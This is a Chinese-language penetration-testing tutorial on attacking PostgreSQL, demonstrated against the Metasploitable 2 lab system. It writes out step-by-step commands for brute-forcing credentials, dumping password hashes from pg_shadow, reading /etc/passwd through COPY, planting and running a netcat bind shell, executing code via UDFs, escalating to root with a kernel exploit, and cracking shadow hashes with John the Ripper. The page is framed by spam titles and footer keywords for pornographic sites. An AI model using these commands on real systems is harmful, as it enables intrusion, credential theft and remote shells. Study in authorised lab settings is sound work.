成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

PostgreSQL滲透測試指南

數(shù)據(jù)庫 其他數(shù)據(jù)庫 PostgreSQL
我之所以寫這篇文章,目的在于為滲透測試人員提供測試PostgreSQL數(shù)據(jù)庫的具體方法。文章中用來演示的目標(biāo)系統(tǒng)是Metasploitable 2,因為該系統(tǒng)包含許多漏洞,也存在配置不當(dāng)問題。

[[197862]]

一、前言

PostgreSQL是一個開源數(shù)據(jù)庫,主要部署于Linux操作系統(tǒng)中。然而,PostgreSQL的兼容性非常好,可以兼容多個操作系統(tǒng),也能在Windows及MacOS操作系統(tǒng)上運行。如果PostgreSQL數(shù)據(jù)庫沒有被正確配置,并且攻擊者已經(jīng)事先獲取了憑證信息,那么他們就可以實施各類攻擊行為,比如讀寫系統(tǒng)文件以及執(zhí)行任意代碼等。

我之所以寫這篇文章,目的在于為滲透測試人員提供測試PostgreSQL數(shù)據(jù)庫的具體方法。文章中用來演示的目標(biāo)系統(tǒng)是Metasploitable 2,因為該系統(tǒng)包含許多漏洞,也存在配置不當(dāng)問題。

二、服務(wù)探測及版本識別

PostgreSQL數(shù)據(jù)庫的默認(rèn)監(jiān)聽端口為5432。在端口掃描過程中,如果發(fā)現(xiàn)該端口開放,那么目標(biāo)主機很有可能安裝了PostgreSQL。

  1. nmap -sV 192.168.100.11 -p 5432 

 

圖1. PostgreSQL:通過Nmap判斷數(shù)據(jù)庫版本

此外,Metasploit平臺中也有一個模塊可以用來識別PostgreSQL數(shù)據(jù)庫以及具體的版本:

auxiliary/scanner/postgres/postgres_version

 

圖2. PostgreSQL:通過Metasploit識別數(shù)據(jù)庫版本

三、探測數(shù)據(jù)庫憑證

在共享文件夾中發(fā)現(xiàn)包含數(shù)據(jù)庫用戶名及密碼的配置文件并不稀奇,然而,如果目標(biāo)沒有犯下如此低級的失誤,那么我們可以使用一個Metasploit模塊暴力破解數(shù)據(jù)庫憑證,如下圖所示:

  1. auxiliary/scanner/postgres/postgres_login 

 

圖3. PostgreSQL:暴力破解數(shù)據(jù)庫憑證

探測數(shù)據(jù)庫憑證是非常關(guān)鍵的一個步驟,如果沒有掌握正確的憑證,我們很難突破目標(biāo)主機,因為大多數(shù)攻擊操作都需要訪問數(shù)據(jù)庫。

四、訪問數(shù)據(jù)庫

Kali Linux系統(tǒng)中默認(rèn)包含了psql工具,在已知數(shù)據(jù)庫用戶名及密碼的前提下,我們可以使用這個工具通過PostgreSQL數(shù)據(jù)的認(rèn)證過程。命令如下:

  1. psql -h 192.168.100.11 -U postgres 

 

圖4. PostgreSQL:訪問數(shù)據(jù)庫

一旦連接上數(shù)據(jù)庫,我們應(yīng)該執(zhí)行如下操作:

1、枚舉已有的數(shù)據(jù)庫。

2、枚舉數(shù)據(jù)庫用戶。

3、枚舉數(shù)據(jù)庫表。

4、讀取表內(nèi)容。

5、讀取數(shù)據(jù)庫密碼。

6、導(dǎo)出數(shù)據(jù)庫內(nèi)容。

我們可以使用如下命令完成上述任務(wù):

  1. postgres-# \l 
  2.  
  3. postgres-# \du 
  4.  
  5. template1=# \dt 
  6.  
  7. template1=# SELECT * FROM users; 
  8.  
  9. postgres-# SELECT usename, passwd FROM pg_shadow; 
  10.  
  11. pg_dump --host=192.168.100.11 --username=postgres --password --dbname=template1 --table='users' -f output_pgdump 

 

圖5. PostgreSQL:枚舉已有的數(shù)據(jù)庫

 

圖6. PostgreSQL:枚舉數(shù)據(jù)庫用戶

 

圖7. PostgreSQL:枚舉已有表

 

圖8. PostgreSQL:讀取表內(nèi)容

 

圖9. PostgreSQL:讀取數(shù)據(jù)庫密碼

 

圖10. PostgreSQL:導(dǎo)出數(shù)據(jù)庫內(nèi)容

我們也可以使用Metasploit完成上述部分任務(wù)。命令如下:

  1. auxiliary/admin/postgres/postgres_sql 
  2.  
  3. auxiliary/scanner/postgres/postgres_hashdump  

 

圖11. PostgreSQL:使用Metasploit枚舉數(shù)據(jù)庫 

 

圖12. 使用Metasploit讀取Postgres服務(wù)器哈希

 

圖13. 使用Metasploit執(zhí)行PostgreSQL命令

五、命令執(zhí)行

PostgreSQL數(shù)據(jù)庫能夠與底層系統(tǒng)交互,這樣數(shù)據(jù)庫管理員就能執(zhí)行各種數(shù)據(jù)庫命令,同時也能從系統(tǒng)中讀取輸出結(jié)果。

  1. postgres=# select pg_ls_dir('./'); 

 

圖14. PostgreSQL:讀取系統(tǒng)目錄結(jié)構(gòu)

執(zhí)行如下命令,我們就能讀取服務(wù)端的postgres文件。

  1. postgres=# select pg_read_file('PG_VERSION', 0, 200); 

 

圖15. PostgreSQL:讀取服務(wù)端文件

我們也可以創(chuàng)建一個數(shù)據(jù)表,以便存儲及查看目標(biāo)主機中已有的某個文件。命令如下:

  1. postgres-# CREATE TABLE temp(t TEXT); 
  2.  
  3. postgres-# COPY temp FROM '/etc/passwd'
  4.  
  5. postgres-# SELECT * FROM temp limit 1 offset 0;  

 

圖16. PostgreSQL:讀取本地文件

Metasploit框架中有個模塊,可以自動化讀取本地文件,命令如下:

  1. auxiliary/admin/postgres/postgres_readfile 

 

圖17. PostgreSQL:通過Metasploit讀取本地文件

除了讀取文件內(nèi)容外,我們也可以使用PostgreSQL往目標(biāo)主機中寫入文件,比如我們可以寫入bash文件,用來監(jiān)聽某個隨機端口:

  1. postgres=# CREATE TABLE pentestlab (t TEXT); 
  2.  
  3. postgres=# INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash'); 
  4.  
  5. postgres=# SELECT * FROM pentestlab; 
  6.  
  7. postgres=# COPY pentestlab(t) TO '/tmp/pentestlab' 

 

圖18. PostgreSQL:將文件寫入目標(biāo)主機

當(dāng)然我們需要賦予該文件可執(zhí)行權(quán)限:

  1. chmod +x pentestlab 
  2.  
  3. ./pentestlab 

 

圖19. 啟動本地監(jiān)聽器

使用Netcat成功建立連接:

  1. nc -vn 192.168.100.11 2346 
  2.  
  3. python -c "import pty;pty.spawn('/bin/bash')" 

 

圖20. PostgreSQL:連接到后門

如果postgres服務(wù)賬戶具備/tmp目錄的寫入權(quán)限,那么我們可以通過用戶自定義函數(shù)(UDF,user defined functions)實現(xiàn)任意代碼執(zhí)行。

  1. exploit/linux/postgres/postgres_payload 

 

圖21. PostgreSQL:代碼執(zhí)行

六、權(quán)限提升

如果我們通過已獲取的數(shù)據(jù)庫憑證或其他方法獲得對目標(biāo)主機的訪問權(quán)限,那么接下來我們應(yīng)當(dāng)嘗試將已有權(quán)限提升至root權(quán)限。當(dāng)然,我們在Linux系統(tǒng)中可以有各種方法實現(xiàn)權(quán)限提升,并且這也是比較復(fù)雜的一個過程,但為了不偏離本文的主題,我們使用某個內(nèi)核漏洞完成權(quán)限提升任務(wù)。

盡可能完整地獲取內(nèi)核版本以及操作系統(tǒng)的全部信息有助于我們發(fā)現(xiàn)系統(tǒng)存在哪些漏洞,命令如下:

  1. user@metasploitable:/# uname -a 
  2.  
  3. uname -a 
  4.  
  5. Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux  

根據(jù)上述內(nèi)核版本信息,我們可以在exploitdb中搜索對應(yīng)版本是否存在本地漏洞利用代碼,這也是目前最為簡單的一種方法。

 

圖22. 搜索Linux內(nèi)核漏洞利用代碼

我們可以在本地或者遠(yuǎn)程系統(tǒng)中編譯這段利用代碼。

 

圖23. 編譯漏洞利用程序并獲取netlink的PID信息

這個漏洞利用程序需要在/tmp目錄中創(chuàng)建一個run文件。當(dāng)漏洞利用代碼執(zhí)行時就會運行這個文件,我們可以通過該文件監(jiān)聽某個端口。

  1. #!/bin/bash 
  2.  
  3. nc -lvvp 2345 -e /bin/bash  

 

圖24. 在tmp目錄中創(chuàng)建run文件

需要賦予該文件可執(zhí)行權(quán)限。

  1. chmod +x /tmp/run 

我們可以通過如下命令,建立與該端口的連接,然后獲得root權(quán)限下的python shell接口。

  1. nc -vn 192.168.100.11 2345 
  2.  
  3. python -c "import pty;pty.spawn('/bin/bash')" 

 

圖25. 通過Netcat與目標(biāo)主機建立連接

我們可以使用Metasploit平臺自動完成上述過程。因此當(dāng)我們發(fā)現(xiàn)目標(biāo)主機存在某個漏洞時,我們可以嘗試在Metasploit中搜索是否有個匹配的模塊可以使用:

 

圖26. 利用Metasploit實現(xiàn)Linux系統(tǒng)權(quán)限提升

當(dāng)漏洞利用代碼執(zhí)行時,我們可以得到另一個具備root用戶權(quán)限的Meterpreter會話:

 

圖27. root權(quán)限下的Meterpreter會話

即使我們已經(jīng)獲得了root訪問權(quán)限,我們最好還是從shadow文件中讀取所有用戶的密碼哈希,以便后續(xù)破解這些哈希值。通過這些哈希值,滲透測試人員可以發(fā)現(xiàn)存在弱口令的賬戶,也很有可能借助其中某些賬戶訪問同一網(wǎng)絡(luò)中的其他系統(tǒng)。

  

圖28. 檢查Shadow文件

我們可以將密碼哈希值保存到一個文本文件中,然后使用John the Ripper工具破解這些哈希:

  1. john /root/Desktop/password.txt 
  2.  
  3. john --show /root/Desktop/password.txt 

 

圖29. 被破解的哈希值

上述命令可以顯示已被成功破解的密碼哈希值。

現(xiàn)在,這個Linux系統(tǒng)中的所有賬戶已被我們破解,我們可以使用這些賬戶訪問其他系統(tǒng)。 

責(zé)任編輯:龐桂玉 來源: 計算機與網(wǎng)絡(luò)安全
相關(guān)推薦

2022-01-17 07:22:11

Web應(yīng)用滲透

2022-01-18 07:40:27

滲透測試黑客

2020-09-15 06:15:23

滲透測試風(fēng)險評估網(wǎng)絡(luò)安全

2020-09-11 11:29:34

滲透測試風(fēng)險評估網(wǎng)絡(luò)安全

2010-08-03 22:09:16

2013-11-06 16:38:59

2021-07-15 10:46:21

滲透測試網(wǎng)絡(luò)安全網(wǎng)絡(luò)攻擊

2016-09-09 01:14:17

2010-09-13 11:05:08

2013-11-28 11:29:39

2013-11-28 13:03:17

2014-02-18 15:53:04

2013-12-10 09:51:18

2013-12-24 13:15:59

2013-12-30 13:11:03

2014-04-03 09:35:28

2013-05-27 13:37:06

2010-09-09 21:10:22

2016-10-10 22:11:02

2013-11-28 10:32:10

點贊
收藏

51CTO技術(shù)棧公眾號

主站蜘蛛池模板: 欧美一区二区免费 | 精品国产鲁一鲁一区二区张丽 | 国产中文字幕在线观看 | 男女视频在线观看免费 | 97伦理影院 | 中文字幕1区2区3区 亚洲国产成人精品女人久久久 | 国内精品视频 | 91av视频在线播放 | 国产网站在线播放 | 欧美日韩国产一区二区 | 久久亚洲天堂 | 国产精品免费看 | 在线国产一区 | 狠狠操天天操 | 日韩一级黄色毛片 | 亚洲欧美成人 | 国产高潮好爽受不了了夜色 | 免费永久av | 国产精品久久久久久久模特 | 一区二区三区精品视频 | 91精品国产91久久久久久最新 | 91精品国产色综合久久 | 99精品99 | 亚洲精品一区二三区不卡 | 日韩在线免费视频 | 国产成人精品一区二三区在线观看 | 狠狠干天天干 | 婷婷去俺也去 | 欧美一区视频在线 | 丁香久久| 91视频在线 | 国产精品久久久久久吹潮 | 午夜久久久久久久久久一区二区 | 亚洲欧美中文日韩在线v日本 | 午夜小视频免费观看 | 日日夜夜免费精品视频 | 999国产精品视频免费 | 看毛片的网站 | 午夜精品福利视频 | 超碰在线播 | 国产精品久久亚洲 |